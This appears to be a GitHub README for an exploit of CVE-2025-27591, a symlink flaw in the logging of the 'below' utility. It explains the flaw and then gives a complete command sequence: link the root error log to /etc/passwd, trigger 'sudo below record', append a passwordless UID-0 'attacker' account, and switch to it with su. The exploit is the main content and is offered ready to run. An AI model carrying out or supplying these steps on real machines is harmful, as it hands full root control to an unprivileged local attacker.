krn966/cve-2025-27591Local privilege escalation exploit for CVE-2025-27591, abusing insecure symlink handling in the below utility's logging to overwrite arbitrary files as root.
CVE-2025-27591 is a local privilege escalation vulnerability in the below utility (versions prior to the patched release) caused by insecure symbolic link handling within its logging mechanism. Attackers with local access can exploit this flaw to overwrite arbitrary files as the root user, leading to full privilege escalation.
The below tool writes logs to /var/log/below/ without properly validating symbolic links. By pre-creating a symlink pointing to a sensitive file (e.g., /etc/passwd), an attacker can inject arbitrary content with elevated privileges when the vulnerable process runs under sudo.
# Check if log directory exists
test -d /var/log/below && ls -ld /var/log/below
# Remove existing log file and create a malicious symlink
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
# Prepare malicious passwd entry
echo 'attacker::0:0:attacker:/root:/bin/bash' > /tmp/attacker
# Trigger vulnerable behavior using sudo
sudo /usr/bin/below record
echo 'attacker::0:0:attacker:/root:/bin/bash' >> /var/log/below/error_root.log
# Switch to the newly created root-privileged user
su attacker
Successful exploitation grants root privileges to a local, unprivileged attacker, enabling full system compromise.
/var/log/below/ directory.